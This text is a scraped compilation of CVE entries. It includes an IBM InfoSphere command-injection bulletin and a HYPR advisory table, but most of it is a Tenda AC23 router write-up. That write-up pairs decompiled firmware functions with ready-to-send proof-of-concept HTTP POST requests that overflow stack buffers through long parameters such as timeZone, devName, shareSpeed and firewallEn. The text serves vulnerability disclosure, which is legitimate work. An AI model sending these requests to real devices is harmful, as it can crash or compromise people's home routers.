"IBM InfoSphere Information Server 11.7 could allow a locally authenticated attacker to execute arbitrary commands on the system by sending a specially crafted request. IBM X-"Force ID: 231361.

  

**Summary**

An OS command injection vulnerability in InfoSphere Information Server was addressed.

**Vulnerability Details**

**IBM X-Force ID:**   231361  
**DESCRIPTION:**   IBM InfoSphere Information Server could allow a locally authenticated attacker to execute arbitrary commands on the system by sending a specially crafted request.  
CVSS Base score: 5.9  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/231361 for the current score.  
CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)

**Affected Products and Versions**

Affected Product(s)

Version(s)

InfoSphere Information Server

11.7

**Remediation/Fixes**

**Product**

**VRMF**

**APAR**

**Remediation**

InfoSphere Information Server, InfoSphere Information Server on Cloud

11.7

DT145176

\--Apply IBM InfoSphere Information Server version 11.7.1.0  
\--Apply IBM InfoSphere Information Server version 11.7.1.4

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

The vulnerability was reported to IBM by Ivan Bennink-Kozlov

**Change History**

14 Oct 2022: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSZJPZ","label":"InfoSphere Information Server"},"Component":"","Platform":\[{"code":"PF033","label":"Windows"},{"code":"PF002","label":"AIX"},{"code":"PF016","label":"Linux"}\],"Version":"11.7","Edition":"","Line of Business":{"code":"LOB10","label":"Data and AI"}}\]

CVE-2022-35717: Security Bulletin: IBM InfoSphere Information Server is vulnerable to OS command injection

Incorrect Permission Assignment for Critical Resource vulnerability in HYPR Workforce Access on Windows allows Authentication Abuse.

HYPR software routinely undergoes security assessments in order to identify any potential security risks. As a result of these internal and external efforts some vulnerabilities may be identified and proper advisories are sent when remediation is available.

You can find here a list of risks identified in the HYPR components.

CVE ID

Risk

Affected Version

Fix Version

Description

Component

CVE-2022-3258

Low

<7.7.1

7.7.1

Incorrect Permission Assignment for Critical Resource vulnerability in HYPR Workforce Access on Windows allows Authentication Abuse.

HYPR Windows WFA

CVE-2022-1984

Medium

<7.3

7.3

Unsafe Deserialization vulnerability in HYPR Workforce Access (WFA) before version 7.3 may allow local authenticated attackers to elevate privileges via a malicious serialized payload.

HYPR Windows WFA

CVE-2022-2192

High

6.10 to 6.15.1

6.15.2

Forced Browsing vulnerability in HYPR Server version 6.10 to 6.15.1 allows remote attackers with a valid one-time recovery token to elevate privileges via path tampering in the Magic Link page.

HYPR Server

CVE-2022-2193

High

<6.14.1

6.14.1

Insecure Direct Object Reference vulnerability in HYPR Server before version 6.14.1 allows remote authenticated attackers to add a FIDO2 authenticator to arbitrary accounts via parameter tampering in the Device Manager page.

HYPR Server

CVE-2022-3258: HYPR Security Advisories | HYPR

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the firewallEn parameter in the formSetFirewallCfg function.

**ac23**

版本信息：V16.03.07.45\_cn

**fromSetSysTime→sub\_496104→strcpy((char \*)v6, s);**

if ( !strcmp(v20, "sync") )
  {
    v19 = sub\_496104(a1);
    v14 = sub\_4C9C40(v19);
  }

int \_\_fastcall sub\_496104(int a1)
{
  int v2; // \[sp+1Ch\] \[+1Ch\]
  int v3; // \[sp+20h\] \[+20h\]
  char \*s; // \[sp+24h\] \[+24h\]
  int v5; // \[sp+28h\] \[+28h\]
  \_\_int16 v6\[8\]; // \[sp+2Ch\] \[+2Ch\] BYREF
  \_WORD v7\[8\]; // \[sp+3Ch\] \[+3Ch\] BYREF
  int v8\[2\]; // \[sp+4Ch\] \[+4Ch\] BYREF
  int v9\[5\]; // \[sp+54h\] \[+54h\] BYREF

  v5 = 0;
  v6\[0\] = 48;
  v6\[1\] = 0;
  v6\[2\] = 0;
  v6\[3\] = 0;
  v6\[4\] = 0;
  v6\[5\] = 0;
  v6\[6\] = 0;
  v6\[7\] = 0;
  strcpy((char \*)v7, "0");
  v7\[1\] = 0;
  v7\[2\] = 0;
  v7\[3\] = 0;
  v7\[4\] = 0;
  v7\[5\] = 0;
  v7\[6\] = 0;
  v7\[7\] = 0;
  v8\[0\] = 0;
  v8\[1\] = 0;
  v9\[0\] = 0;
  v9\[1\] = 0;
  v9\[2\] = 0;
  v9\[3\] = 0;
  s = (char \*)websGetVar(a1, "timeZone", &unk\_4DDAE4);
  v3 = websGetVar(a1, "timePeriod", &unk\_4DDAE4);
  v2 = websGetVar(a1, "ntpServer", "time.windows.com");
  if ( strchr(s, ':') )
  {
    sscanf(s, "%\[^:\]:%s", v6, v7);//stack overflow
  }
  else
  {
    strcpy((char \*)v6, s);
    strcpy((char \*)v7, "0");
  }
  SetValue("sys.timesyn", "1");
  SetValue("sys.timemode", "auto");
  SetValue("sys.timezone", v6);
  SetValue("sys.timenextzone", v7);
  SetValue("sys.timefixper", v3);
  SetValue("sys.timentpserver", v2);
  if ( !CommitCfm() )
    return 1;
  GetValue("sys.timesyn", v8);
  if ( atoi((const char \*)v8) == 1 )
    sprintf((char \*)v9, "op=%d", 3);
  else
    sprintf((char \*)v9, "op=%d", 2);
  send\_msg\_to\_netctrl(24, v9);
  return v5;
}

**poc**

POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 787
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system\_time.html?random=0.6878395284342707&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251mzhcvb
Connection: close

timeType=sync&timePeriod=86400&ntpServer=time.windows.com&timeZone=aa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&time=2000-01-01%2023%3A39%3A00

**formSetDeviceName→set\_device\_name→sprintf(v4, "%s;1", a1);**

int \_\_fastcall formSetDeviceName(int a1)
{
  int result; // $v0
  int v2; // \[sp+18h\] \[+18h\]
  const char \*v3; // \[sp+1Ch\] \[+1Ch\]
  const char \*v4; // \[sp+20h\] \[+20h\]
  int v5\[9\]; // \[sp+24h\] \[+24h\] BYREF

  v5\[0\] = 0;
  v5\[1\] = 0;
  v5\[2\] = 0;
  v5\[3\] = 0;
  v5\[4\] = 0;
  v5\[5\] = 0;
  v5\[6\] = 0;
  v5\[7\] = 0;
  v2 = 0;
  v4 = (const char \*)websGetVar(a1, "mac", &unk\_4DEB84);
  v3 = (const char \*)websGetVar(a1, "devName", &unk\_4DEB84);
  if ( set\_device\_name(v3, v4) )//stack\_overflow
  {
    sprintf((char \*)v5, "{\\"errCode\\":%d}", 1);
    result = websTransfer(a1, (const char \*)v5);
  }
  else
  {
    if ( !CommitCfm() )
      v2 = 1;
    sprintf((char \*)v5, "{\\"errCode\\":%d}", v2);
    result = websTransfer(a1, (const char \*)v5);
  }
  return result;
}

set\_device\_name

sprintf(v3, "client.devicename%s", (const char \*)v5);
sprintf(v4, "%s;1", a1);
SetValue(v3, v4);

**poc**

POST /goform/SetOnlineDevName HTTP/1.1
Host: 192.168.0.1
Content-Length: 264
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system\_time.html?random=0.9865714904007963&
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

mac=9c:fc:e8:da:9c:5b&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

**setSchedWifi→ strcpy((char \*)ptr + 2, v8)**

int \_\_fastcall setSchedWifi(int a1)
{
  int v1; // $v0
  void \*ptr; // \[sp+30h\] \[+30h\]
  int i; // \[sp+34h\] \[+34h\]
  char \*s; // \[sp+38h\] \[+38h\]
  char \*nptr; // \[sp+3Ch\] \[+3Ch\]
  const char \*v7; // \[sp+40h\] \[+40h\]
  const char \*v8; // \[sp+44h\] \[+44h\]
  char \*v9; // \[sp+48h\] \[+48h\]
  int v10; // \[sp+4Ch\] \[+4Ch\]
  int v11; // \[sp+50h\] \[+50h\]
  int v12\[2\]; // \[sp+54h\] \[+54h\] BYREF
  int v13; // \[sp+5Ch\] \[+5Ch\] BYREF
  int v14; // \[sp+60h\] \[+60h\] BYREF
  int v15; // \[sp+64h\] \[+64h\] BYREF
  int v16; // \[sp+68h\] \[+68h\] BYREF
  int v17; // \[sp+6Ch\] \[+6Ch\] BYREF
  int v18; // \[sp+70h\] \[+70h\] BYREF
  int v19; // \[sp+74h\] \[+74h\] BYREF
  char v20\[256\]; // \[sp+78h\] \[+78h\] BYREF
  char v21\[256\]; // \[sp+178h\] \[+178h\] BYREF

  v11 = 1;
  v10 = 1;
  v12\[0\] = 0;
  v12\[1\] = 0;
  v13 = 1;
  v14 = 1;
  v15 = 1;
  v16 = 1;
  v17 = 1;
  v18 = 1;
  v19 = 1;
  i = 0;
  memset(v20, 0, sizeof(v20));
  memset(v21, 0, sizeof(v21));
  v9 = (char \*)websGetVar(a1, "schedWifiEnable", "1");
  v8 = (const char \*)websGetVar(a1, "schedStartTime", &unk\_4D7C58);
  v7 = (const char \*)websGetVar(a1, "schedEndTime", &unk\_4D7C58);
  nptr = (char \*)websGetVar(a1, "timeType", "0");
  s = (char \*)websGetVar(a1, "day", "1,1,1,1,1,1,1");
  v1 = wifi\_get\_mibname("wlan", "enable", v20);
  GetValue(v1, v12);
  if ( !LOBYTE(v12\[0\]) )
    strcpy((char \*)v12, "1");
  if ( atoi(nptr) )
    sscanf(s, "%d,%d,%d,%d,%d,%d,%d", &v13, &v14, &v15, &v16, &v17, &v18, &v19);
  SetValue("sys.sched.wifi.timeType", nptr);
  ptr = malloc(0x19u);
  v10 = atoi(v9);
  if ( ptr )
  {
    \*(\_BYTE \*)ptr = atoi((const char \*)v12) != 0;
    \*((\_BYTE \*)ptr + 1) = atoi(v9) != 0;
    strcpy((char \*)ptr + 2, v8);
    strcpy((char \*)ptr + 10, v7);
    for ( i = 0; i < 7; ++i )
      \*((\_BYTE \*)ptr + i + 18) = \*(&v13 + i) != 0;
    sub\_461D5C(ptr, 0);
    free(ptr);
    v11 = 0;
  }
  CommitCfm();
  if ( v10 )
  {
    sprintf(v21, "op=%d", 1);
    send\_msg\_to\_netctrl(62, v21);
    v11 = 0;
  }
  websWrite(
    a1,
    "HTTP/1.1 200 OK\\nContent-type: text/plain; charset=utf-8\\nPragma: no-cache\\nCache-Control: no-cache\\n\\n");
  websWrite(a1, "{\\"errCode\\":%d}", v11);
  return websDone(a1, 200);
}

**poc**

POST /goform/openSchedWifi HTTP/1.1
Host: 192.168.0.1
Content-Length: 102
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wifi\_time.html?random=0.05230918147386965&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251aoccvb
Connection: close

schedWifiEnable=1&schedStartTime=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&schedEndTime=07%3A00&timeType=1&day=1%2C1%2C1%2C1%2C1%2C0%2C0

**fromSetWirelessRepeat→sub\_45CD64→sub\_45CAD8→sub\_45BB10**

if ( strcmp(v14, "none") )
  {
    if ( strcmp(v14, "wpapsk") )
      return -1;
    v13 = (char \*)websGetVar(a1, "wpapsk\_type", "wpa&wpa2");
    v12 = (char \*)websGetVar(a1, "wpapsk\_crypto", "aes");
    s = (char \*)websGetVar(a1, "wpapsk\_key", &unk\_4D72FC);
    if ( !\*s && strlen(s) < 8 )
      return -1;
    if ( !strcmp(v13, "wpa") )
    {
      strcpy(v20, "psk");
    }
    else if ( !strcmp(v13, "wpa2") )
    {
      strcpy(v20, "psk2");
    }
    else
    {
      strcpy(v20, "psk+psk2");
    }
    if ( !strcmp(v12, "tkip&aes") )
      strcpy(v21, "tkip+aes");
    else
      strcpy(v21, v12);
    v6 = wifi\_get\_mibname(a3, "extend\_wpapsk\_type", v18);
    SetValue(v6, v20);
    v7 = wifi\_get\_mibname(a3, "extend\_wpapsk\_crypto", v18);
    SetValue(v7, v21);
    v8 = wifi\_get\_mibname(a3, "extend\_wpapsk\_key", v18);
    SetValue(v8, s);
  }

**poc**

POST /goform/WifiExtraSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 247
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wifi\_time.html?random=0.05230918147386965&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251fsacvb
Connection: close

wifi\_chkHz=1&wl\_mode=wisp&wl\_enbale=1&country\_code=CN&wpsEn=0&guestEn=0&iptvEn=0&wifiTimerEn=1&smartSaveEn=1&dmzEn=1&handset=0&ssid=fcniux&wpapsk\_key=11111111&security=wpapsk&wpapsk\_type=wpa&wpapsk\_crypto=aaaaaaaaaaaaaaaaaaaaaaaaaaaa&mac=undifined

**fromSetWifiGusetBasic**

\_\_src = (char \*)websGetVar(param\_1,"shareSpeed",&DAT\_004d83a0);
  strcpy((char \*)&local\_124,\_\_src);

**poc**

POST /goform/WifiGuestSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 531
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251tyacvb
Connection: close

guestEn=1&guestEn\_5g=1&guestSecurity=wpapsk&guestSecurity\_5g=wpapsk&guestSsid=Tenda\_VIP&guestSsid\_5g=Tenda\_VIP\_5G&guestWrlPwd=11111111&guestWrlPwd\_5g=11111111&effectiveTime=8&shareSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

**formSetQosBand**

formSetQosBand→set\_qosMib\_list→strcpy(v8, s);

int \_\_fastcall formSetQosBand(int a1)
{
int v2; // \[sp+30h\] \[+30h\]
int v3\[8\]; // \[sp+34h\] \[+34h\] BYREF
char v4\[256\]; // \[sp+54h\] \[+54h\] BYREF
int v5\[8\]; // \[sp+154h\] \[+154h\] BYREF
int v6\[8\]; // \[sp+174h\] \[+174h\] BYREF
int v7\[5\]; // \[sp+194h\] \[+194h\] BYREF

v3\[0\] = 0;
v3\[1\] = 0;
v3\[2\] = 0;
v3\[3\] = 0;
v3\[4\] = 0;
v3\[5\] = 0;
v3\[6\] = 0;
v3\[7\] = 0;
memset(v4, 0, sizeof(v4));
v2 = websGetVar(a1, "list", &unk\_4DEB84);
unSetQosOldMiblist();
set\_qosoldMib\_list();
unSetQosMiblist();
set\_qosMib\_list(v2, 10);

int \_\_fastcall set\_qosMib\_list(const char \*a1, char a2)
{
  char \*v2; // $v0
  char \*s; // \[sp+24h\] \[+24h\]
  const char \*v5; // \[sp+28h\] \[+28h\]
  int v6; // \[sp+2Ch\] \[+2Ch\]
  int v7; // \[sp+30h\] \[+30h\] BYREF
  char v8\[256\]; // \[sp+34h\] \[+34h\] BYREF
  int v9; // \[sp+134h\] \[+134h\] BYREF
  int v10; // \[sp+138h\] \[+138h\]
  int v11\[8\]; // \[sp+13Ch\] \[+13Ch\] BYREF
  int v12\[4\]; // \[sp+15Ch\] \[+15Ch\] BYREF
  int v13\[4\]; // \[sp+16Ch\] \[+16Ch\] BYREF
  char v14\[256\]; // \[sp+17Ch\] \[+17Ch\] BYREF
  int v15; // \[sp+27Ch\] \[+27Ch\]
  int v16; // \[sp+280h\] \[+280h\]
  int v17; // \[sp+284h\] \[+284h\]
  int v18; // \[sp+288h\] \[+288h\]

  v7 = 0;
  memset(v8, 0, sizeof(v8));
  v9 = 0;
  v10 = 0;
  v11\[0\] = 0;
  v11\[1\] = 0;
  v11\[2\] = 0;
  v11\[3\] = 0;
  v11\[4\] = 0;
  v11\[5\] = 0;
  v11\[6\] = 0;
  v11\[7\] = 0;
  v12\[0\] = 0;
  v12\[1\] = 0;
  v12\[2\] = 0;
  v12\[3\] = 0;
  v13\[0\] = 0;
  v13\[1\] = 0;
  v13\[2\] = 0;
  v13\[3\] = 0;
  memset(v14, 0, sizeof(v14));
  s = (char \*)a1;
  v2 = strchr(a1, a2);
  while ( v2 )
  {
    v6 = 0;
    \*v2 = 0;
    v5 = v2 + 1;
    memset(v8, 0, sizeof(v8));
    strcpy(v8, s);
    if ( v8\[0\] == 59 )
    {
      sscanf(v8, ";%\[^;\];%\[^;\];%\[^;\];%\[^;\];", &v9, v11, v13, v12);
    }
    else
    {
      sscanf(v8, "%\[^\\r\]\\r%\[^\\r\]\\r%\[^\\r\]\\r%s", v14, v11, v13, v12);
      v6 = 1;
    }
    if ( atoi((const char \*)v13) || atoi((const char \*)v12) )
    {
      if ( v6 == 1 )
        set\_device\_name(v14, v11);

这个参数长度不加以限制还会影响set\_device\_name

**poc**

POST /goform/SetNetControlList HTTP/1.1
Host: 192.168.0.1
Content-Length: 791
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/net\_control.html?random=0.0444079600832199&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251aticvb
Connection: close

list=DESKTOP-V29RD1268aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:77:24:54:a9:c000
Unknownaaaaaaaaaaaaaaaaaaaaaaaaaaaaunknown00

**setSmartPowerManagement**

    nptr = (char \*)websGetVar(a1, "powerSavingEn", "0");
  s = (char \*)websGetVar(a1, "time", "00:00-7:30");
  v4 = websGetVar(a1, "powerSaveDelay", "1");
  v3 = (char \*)websGetVar(a1, "ledCloseType", "allClose");
  if ( nptr && s && v4 && v3 )
  {
    sscanf(s, "%\[^:\]:%\[^-\]-%\[^:\]:%s", v7, v8, v9, v10);
    sprintf(v11, "%s:%s", (const char \*)v7, (const char \*)v8);
    sprintf(v12, "%s:%s", (const char \*)v9, (const char \*)v10);
    GetValue("sys.sched.led.closetype", v13);

**poc**

POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 803
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/sleep\_mode.html?random=0.7222154127483253&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251csvcvb
Connection: close

powerSavingEn=1&time=0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0%3A00-07%3A00&ledCloseType=allClose&powerSaveDelay=1

**formSetFirewallCfg**

int \_\_fastcall formSetFirewallCfg(int a1)
{
  int v1; // $a1
  int v2; // $a2
  \_BOOL4 v4; // \[sp+20h\] \[+20h\]
  char \*s; // \[sp+24h\] \[+24h\]
  int v6\[2\]; // \[sp+28h\] \[+28h\] BYREF
  char v7\[64\]; // \[sp+30h\] \[+30h\] BYREF
  int v8\[2\]; // \[sp+70h\] \[+70h\] BYREF
  char v9\[64\]; // \[sp+78h\] \[+78h\] BYREF

  v6\[0\] = 0;
  v6\[1\] = 0;
  memset(v7, 0, sizeof(v7));
  v8\[0\] = 0;
  v8\[1\] = 0;
  memset(v9, 0, sizeof(v9));
  s = (char \*)websGetVar(a1, "firewallEn", "1111");
  if ( strlen(s) \>\= 4 )
  {
    strcpy((char \*)v6, s);

**poc**

POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 764
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/firewall.html?random=0.3855955678045606&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251izccvb
Connection: close

firewallEn=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

CVE-2022-43108: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the time parameter in the setSmartPowerManagement function.

CVE-2022-43107: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the schedStartTime parameter in the setSchedWifi function.

CVE-2022-43106: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the shareSpeed parameter in the fromSetWifiGusetBasic function.

CVE-2022-43105: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

